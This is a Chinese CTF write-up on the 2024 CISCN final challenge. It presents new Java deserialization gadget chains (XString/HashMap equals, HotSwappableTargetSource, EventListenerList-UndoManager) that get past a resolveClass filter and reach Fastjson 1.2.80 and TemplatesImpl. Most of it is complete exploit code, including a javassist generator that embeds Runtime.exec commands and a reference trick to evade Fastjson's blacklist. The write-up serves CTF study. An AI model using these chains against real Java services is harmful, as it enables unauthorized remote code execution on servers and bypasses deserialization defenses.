高版本Fastjson反序列化Xtring新链和EventListenerList绕过

前言

Fastjson反序列化原生利用是找到一个能够readObject的类,调用toString方法,然后调用toJSONString方法,再调用getter,实现反序列化利用。

最经典利用链:

BadAttributeValueExpException#readObjct -> JSONArray#toString -> JSONArray#toJSONString -> getter

但是如果通过重写resolevclass让BadAttributeValueExpException被过滤了,并且Fastjson还是高版本又改如何利用?

2024 CISCN决赛WAF掉BadAttributeValueExpException的高版本Fastjson原生反序列化

当时决赛时候这个Java压轴题最后只有很少的解,现拿来回顾复现探索两条反序列化链成功解决,下面将详细写出几个新的利用链供师傅们学习交流

题目关键源码如下
User类

public class User implements Serializable {  
    public String name;  
    public Map info;  

    public User() {  
    }  

    public Map getInfo() {  
        return this.info;  
    }  

    public void setInfo(Map info) {  
        this.info = info;  
    }  

    public String getName() {  
        return this.name;  
    }  

    public void setName(String name) {  
        this.name = name;  
    }  

    public User(String name) {  
        this.name = name;  
    }  
}

反序列化漏洞点

@Mapping("/api")  
    @Post  
    public String api(Map map, Context ctx) throws Exception {  
        if (map.size() != new JSONObject(ctx.body()).length()) {  
            return ((User) deserialize((String) map.get("data"))).getName();  
        }  
        return "success";  
    }  

    static Object deserialize(String data) throws Exception {  
        return new ObjectInputStream(new ByteArrayInputStream(Base64.getDecoder().decode(data))) { // from class: com.example.demo.DemoController.1  
            boolean check = false;  

            @Override // java.io.ObjectInputStream  
            protected Class resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {  
                Class targetc = super.resolveClass(desc);  
                if (!this.check && !User.class.isAssignableFrom(targetc)) {  
                    throw new IllegalArgumentException("HackerClass:" + targetc);  
                } else if (BadAttributeValueExpException.class.isAssignableFrom(targetc)) {  
                    throw new IllegalArgumentException("HackerClass:" + targetc);  
                } else {  
                    this.check = true;  
                    return targetc;  
                }  
            }  
        }.readObject();  
    }  
}

观察发现禁用了BadAttributeValueExpException并且必须为User的子类

pom.xml

<?xml version="1.0" encoding="UTF-8"?>

<project xmlns="http://maven.apache.org/POM/4.0.0"

         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"

         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">

    <modelVersion>4.0.0</modelVersion>
    <parent>
        <groupId>org.noear</groupId>
        <artifactId>solon-parent</artifactId>
        <version>2.8.4</version>
        <relativePath />
    </parent>

    <groupId>com.example</groupId>

    <artifactId>solon_master</artifactId>

    <version>1.0</version>

    <packaging>jar</packaging>
    <description>Demo project for Solon</description>
    <properties>
        <java.version>1.8</java.version>
    </properties>
    <dependencies>

        <dependency>

            <groupId>org.noear</groupId>

            <artifactId>solon-api</artifactId>

        </dependency>
        <dependency>

            <groupId>org.noear</groupId>

            <artifactId>solon.logging.logback</artifactId>

        </dependency>
        <dependency>

            <groupId>org.noear</groupId>

            <artifactId>solon-test</artifactId>

            <scope>test</scope>
        </dependency>
        <dependency>
            <groupId>org.json</groupId>
            <artifactId>json</artifactId>
            <version>20230618</version>
        </dependency>

        <dependency>
            <groupId>com.alibaba</groupId>
            <artifactId>fastjson</artifactId>
            <version>1.2.80</version>
        </dependency>
        <dependency>
            <groupId>org.noear</groupId>
            <artifactId>solon.view.freemarker</artifactId>
        </dependency>
    </dependencies>

    <build>
        <finalName>${project.artifactId}</finalName>
        <plugins>

            <plugin>

                <groupId>org.noear</groupId>

                <artifactId>solon-maven-plugin</artifactId>

            </plugin>

        </plugins>

    </build>

<!--    <repositories>      -->

<!--        <repository>-->

<!--            <id>tencent</id>-->

<!--            <url>https://mirrors.cloud.tencent.com/nexus/repository/maven-public/</url>-->

<!--            <snapshots>-->

<!--                <enabled>false</enabled>-->

<!--            </snapshots>-->

<!--        </repository>-->

<!--    </repositories>-->



</project>

依赖中只有fastjson 1.2.80高版本由此想到原生反序列化利用链,但是还有WAF限制需要寻找新的Gadget

Gadget寻找readobject触发tostring

BadAttributeValueExpException->tostring

这条是被题目waf掉的最经典的触发tostring的链子,主要利用代码如下
JDK原生可用

package com.xiinnn;  
import com.xiinnn.template.ToStringClass;  
import javax.management.BadAttributeValueExpException;  
import java.io.*;  
import java.lang.reflect.Field;  
// BadAttributeValueExpException#readObject -> getter  
public class BAVEReadObject2ToString {  
    public static void main(String[] args) throws Exception{  
        ToStringClass toStringClass = new ToStringClass();  
        BadAttributeValueExpException bave = new BadAttributeValueExpException(null);  
        setFieldValue(bave, "val", toStringClass);  
        byte[] bytes = serialize(bave);  
        unserialize(bytes);  
    }  
    public static void setFieldValue(Object obj, String field, Object val)  
            throws Exception{  
        Field dField = obj.getClass().getDeclaredField(field);  
        dField.setAccessible(true);  
        dField.set(obj, val);  
    }  
    public static byte[] serialize(Object obj) throws IOException {  
        ByteArrayOutputStream baos = new ByteArrayOutputStream();  
        ObjectOutputStream oos = new ObjectOutputStream(baos);  
        oos.writeObject(obj);  
        return baos.toByteArray();  
    }  
    public static void unserialize(byte[] bytes) throws IOException, ClassotFoundException, ClassNotFoundException {  
        ByteArrayInputStream bais = new ByteArrayInputStream(bytes);  
        ObjectInputStream ois = new ObjectInputStream(bais);  
        ois.readObject();  
    }  
}

HotSwappableTargetSource#equals-> toString

利用这一个HotSwappableTargetSource新链通过equal触发tostring

HashMap#readObject -> HotSwappableTargetSource#equals -> XString#equals -> toString

HotSwappableTargetSource 是在 Spring AOP 中出现的一个类是spring 原生的 toString 利用链。

依赖条件 ● jackson-databind、spring-aop
HotSwappableTargetSource 的 equals 方法会调用其成员属性 target 的 equals 方法:

@Override
public boolean equals(Object other) {
    return (this == other || (other instanceof HotSwappableTargetSource &&
          this.target.equals(((HotSwappableTargetSource) other).target)));
}

this.target 可以在构造方法中赋值:

public HotSwappableTargetSource(Object initialTarget) {
    Assert.notNull(initialTarget, "Target object must not be null");
    this.target = initialTarget;
}

gadget代码如下

public static void main(String[] args) throws Exception {        
        Object templatesimpl = null;
        JSONObject jsonObject = new JSONObject();
        jsonObject.put("g","m");
        JSONObject jsonObject1 = new JSONObject();
        jsonObject1.put("g",templatesimpl);

        HotSwappableTargetSource v1 = new HotSwappableTargetSource(jsonObject);
        HotSwappableTargetSource v2 = new HotSwappableTargetSource(new XString("x"));

        HashMap<Object,Object> hashMap = new HashMap<>();
        hashMap.put(v1,v1);
        hashMap.put(v2,v2);
        setValue(v1,"target",jsonObject1);

//      用于Reference包裹绕过FastJSon高版本resolveClass黑名单检查,from Y4tacker
/*        HashMap<Object,Object> hhhhashMap = new HashMap<>();
        hhhhashMap.put(tpl,hashMap);*/

        serialize(hashMap);
        unserialize("ser.bin");
}

public static void setValue(Object obj,String field,Object value) throws Exception{
        Field f = obj.getClass().getDeclaredField(field);
        f.setAccessible(true);
        f.set(obj,value);
    }
public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }

Xtring利用链绕过

在XString#equals方法中,调用了obj2的toString()方法

那么我们前面可以用CC7的Hashmap#readobject触发equal的链子,然后XString#equal触发JSON的toString方法即可完成链子

但是由于是高版本fastjson,我们需要使用引用绕过:

List<Object> arrays = new ArrayList<>();  
        arrays.add(templates);  
        JSONArray jsonArray = new JSONArray();  
        jsonArray.add(templates);  
        arrays.add(getXString(jsonArray));  

    Map<String, Object> map = new HashMap<>();  
map.put("yy", arrays);

User类刚好有一个map属性可以利用,同时将hashmap放进User的属性里面

User user = new User();  
        user.setInfo(map);

完整链子如下:

package exp;  

import com.alibaba.fastjson.JSONArray;  
import com.example.demo.User;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  
import com.sun.org.apache.xpath.internal.objects.XString;  

import javax.management.BadAttributeValueExpException;  
import java.io.*;  
import java.util.*;  

import static exp.Poc.genPayload;  
import static exp.Poc.setValue;  

public class Exp {  
    public static HashMap getXString(Object obj) throws Exception{  

        XString xstring=new XString("");  
        HashMap hashMap1 = new HashMap();  
        HashMap hashMap2 = new HashMap();  

        hashMap1.put("yy",xstring);  
        hashMap1.put("zZ",obj);  

        hashMap2.put("zZ",xstring);  
        hashMap2.put("yy",obj);  

        HashMap hashMap = new HashMap();  
        hashMap.put(hashMap1, 1);  
        hashMap.put(hashMap2, 2);  

        return hashMap;  
    }  


    public static Object getPayload() throws Exception {  
        String command = "open -a calculator";  

        TemplatesImpl templates = TemplatesImpl.class.newInstance();  
        setValue(templates, "_bytecodes", new byte[][]{genPayload("calc")});  
        setValue(templates, "_name", "xxx");  
        setValue(templates, "_tfactory", null);  



        List<Object> arrays = new ArrayList<>();  
        arrays.add(templates);  
        JSONArray jsonArray = new JSONArray();  
        jsonArray.add(templates);  
        arrays.add(getXString(jsonArray));  

        Map<String, Object> map = new HashMap<>();  
        map.put("yy", arrays);  
        User user = new User();  
        user.setInfo(map);  
        return user;  
    }  

    public static byte[] serialize(final Object obj) throws IOException {  
        final ByteArrayOutputStream out = new ByteArrayOutputStream();  
        final ObjectOutputStream objOut = new ObjectOutputStream(out);  
        objOut.writeObject(obj);  
        return out.toByteArray();  
    }  

    static Object deserialize(String data) throws Exception {  
        return new ObjectInputStream(new ByteArrayInputStream(Base64.getDecoder().decode(data))) { // from class: com.example.demo.DemoController.1  
            boolean check = false;  

            @Override // java.io.ObjectInputStream  
            protected Class resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {  
                Class targetc = super.resolveClass(desc);  
                if (!this.check && !User.class.isAssignableFrom(targetc)) {  
                    throw new IllegalArgumentException("HackerClass:" + targetc);  
                } else if (BadAttributeValueExpException.class.isAssignableFrom(targetc)) {  
                    throw new IllegalArgumentException("HackerClass:" + targetc);  
                } else {  
                    this.check = true;  
                    return targetc;  
                }  
            }  
        }.readObject();  
    }  

    public static void main(String[] args) throws Exception {  
        Object obj = getPayload();  
        byte[] payload =  serialize(obj);  
//        deserialize(payload);  
        deserialize(Base64.getEncoder().encodeToString(payload));  
    }  
}

eventListenerList利用链绕过

前半段链子使用eventListenerList触发toString

EventListenerList --> 
UndoManager#toString() -->
Vector#toString()

后半段仍为json触发TemplatesImpl利用链

JSONArray#toString ->
  JSONArray#toJSONString -> 
  getter#toString

payload如下:

package exp;  

import com.alibaba.fastjson.JSONArray;  
import javax.management.BadAttributeValueExpException;  
import javax.swing.event.EventListenerList;  
import javax.swing.undo.UndoManager;  
import java.io.*;  
import java.lang.reflect.Field;  
import java.util.Base64;  
import java.util.HashMap;  
import java.util.Vector;  

import com.example.demo.User;  
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;  
import javassist.ClassPool;  
import javassist.CtClass;  
import javassist.CtConstructor;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  


public class Poc {  
    public static void setValue(Object obj, String name, Object value) throws Exception{  
        Field field = obj.getClass().getDeclaredField(name);  
        field.setAccessible(true);  
        field.set(obj, value);  
    }  


    public static byte[] genPayload(String cmd) throws Exception{  
        //恶意类  
        ClassPool pool = ClassPool.getDefault();  
        CtClass clazz = pool.makeClass("a");  
        CtClass superClass = pool.get(AbstractTranslet.class.getName());  
        clazz.setSuperclass(superClass);  
        CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);  
        constructor.setBody("Runtime.getRuntime().exec(\""+cmd+"\");");  
        clazz.addConstructor(constructor);  
        clazz.getClassFile().setMajorVersion(49);  
        return clazz.toBytecode();  
    }  

    public static void main(String[] args) throws Exception{  

        //使用链子BadAttributeValueExpException#readObjct -> JSONArray#toString -> JSONArray#toJSONString -> getter#toString  

        TemplatesImpl templates = TemplatesImpl.class.newInstance();  
        setValue(templates, "_bytecodes", new byte[][]{genPayload("calc")});  
        setValue(templates, "_name", "xxx");  
        setValue(templates, "_tfactory", null);  

        JSONArray jsonArray = new JSONArray();  
        jsonArray.add(templates);  

        EventListenerList eventListenerList = new EventListenerList();  
        UndoManager undoManager = new UndoManager();  
        Vector vector = (Vector) getFieldValue(undoManager, "edits");  
        vector.add(jsonArray);  
        setValue(eventListenerList, "listenerList", new Object[]{InternalError.class, undoManager});  


        HashMap hashMap = new HashMap();  
        hashMap.put(templates,eventListenerList);  


        //使用user类进行序列化  
        User user=new User();  
        user.setInfo(hashMap);  
        byte[] bytes=serialize(user);  
        deserialize(Base64.getEncoder().encodeToString(bytes));  
    }  
    static Object deserialize(String data) throws Exception {  
        return new ObjectInputStream(new ByteArrayInputStream(Base64.getDecoder().decode(data))) { // from class: com.example.demo.DemoController.1  
            boolean check = false;  

            @Override // java.io.ObjectInputStream  
            protected Class resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {  
                Class targetc = super.resolveClass(desc);  
                if (!this.check && !User.class.isAssignableFrom(targetc)) {  
                    throw new IllegalArgumentException("HackerClass:" + targetc);  
                } else if (BadAttributeValueExpException.class.isAssignableFrom(targetc)) {  
                    throw new IllegalArgumentException("HackerClass:" + targetc);  
                } else {  
                    this.check = true;  
                    return targetc;  
                }  
            }  
        }.readObject();  
    }  
    public static byte[] serialize(final Object obj) throws IOException {  
        final ByteArrayOutputStream out = new ByteArrayOutputStream();  
        final ObjectOutputStream objOut = new ObjectOutputStream(out);  
        objOut.writeObject(obj);  
        return out.toByteArray();  
    }  
    public static Field getField ( final Class<?> clazz, final String fieldName ) throws Exception {  
        try {  
            Field field = clazz.getDeclaredField(fieldName);  
            if ( field != null )  
                field.setAccessible(true);  
            else if ( clazz.getSuperclass() != null )  
                field = getField(clazz.getSuperclass(), fieldName);  

            return field;  
        }  
        catch ( NoSuchFieldException e ) {  
            if ( !clazz.getSuperclass().equals(Object.class) ) {  
                return getField(clazz.getSuperclass(), fieldName);  
            }  
            throw e;  
        }  
    }  
    public static Object getFieldValue(final Object obj, final String fieldName) throws Exception {  
        final Field field = getField(obj.getClass(), fieldName);  
        return field.get(obj);  
    }  
}

成功弹出计算器完结!

0 条评论
某人
表情
可输入 255